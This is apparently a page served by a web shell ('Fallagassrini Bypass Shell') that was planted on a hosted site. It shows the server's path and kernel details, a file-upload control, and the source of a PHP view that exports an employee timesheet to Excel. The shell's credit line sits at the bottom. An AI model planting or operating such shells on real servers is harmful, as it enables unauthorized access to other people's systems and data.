? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/xls_report_employee_timesheet.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$company_details= $this->mastermodel->get_data_srow('company','1','company_id');
$employee = $this->mastermodel->get_data_srow('employee',$postdata['employee_id'],'employee_id');
$html='<html><head><body>';
$html.='<table width="100%">
        <tr><td colspan="3" style="font-size:16px;><b>Employee Timesheet Report</b></td></tr>
        <tr><td colspan="3">Employee Name: '.$employee->employee_name.'</td></tr>
        <tr><td colspan="3">Employee No: '.$employee->employee_no.'</td></tr>
        <tr><td colspan="3">Period: '.$postdata['month'].' '.$postdata['year'].'</td></tr>
       
        </table>';

$html.='<hr><br><br>';

$html.='<table cellspacing="-1" border=1 style="width:100%;text-align:left">
    <thead>
        <tr>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Date</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Time</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Mode</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Remarks</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Status</th>
            <th style="height:30px;text-align:center;" bgcolor="#cdc9c9">Type</th>
        </tr>';
           
    $html .='</tr></thead><tbody>';
        foreach($report as $row)
        {
            switch($row['attendance_mode'])
            {
                case 0 : $attendance_mode = 'In';
                break;
                case 1 : $attendance_mode = 'Out';
                break;
                case 2 : $attendance_mode = 'Break Out';
                break;
                case 3 : $attendance_mode = 'Break In';
                break;
                case 4 : $attendance_mode = 'OT In';
                break;
                case 5 : $attendance_mode = 'OT Out';
                break;
            }
            $status = $this->hrmodel->get_employee_attendance_status($employee->device_no,$employee->employee_id,$row['attendance_date'],$row['attendance_mode']);
            $attendance_type = $row['attendance_type']?"Manual":"Device";
            $html.='<tr><td>'.$this->mastermodel->convertdatenormalformat(substr($row['attendance_date'],0,11)).'</td>';
            $html.='<td>'.substr($row['attendance_date'],11,5).'</td>';
            $html.='<td>'.$attendance_mode.'</td>';
            $html.='<td>'.$row['attendance_remarks'].'</td>';
            $html.='<td>'.$status.'</td>';
            $html.='<td>'.$attendance_type.'</td></tr>';
        }

$html.='</tbody></table>';
$html.='<hr>';
$html.='</body></html>';

$filename = "Employee-Timesheet";
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=".$filename.".xls");
header("Pragma: no-cache");
header("Expires: 0");
print $html;
exit;

   ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net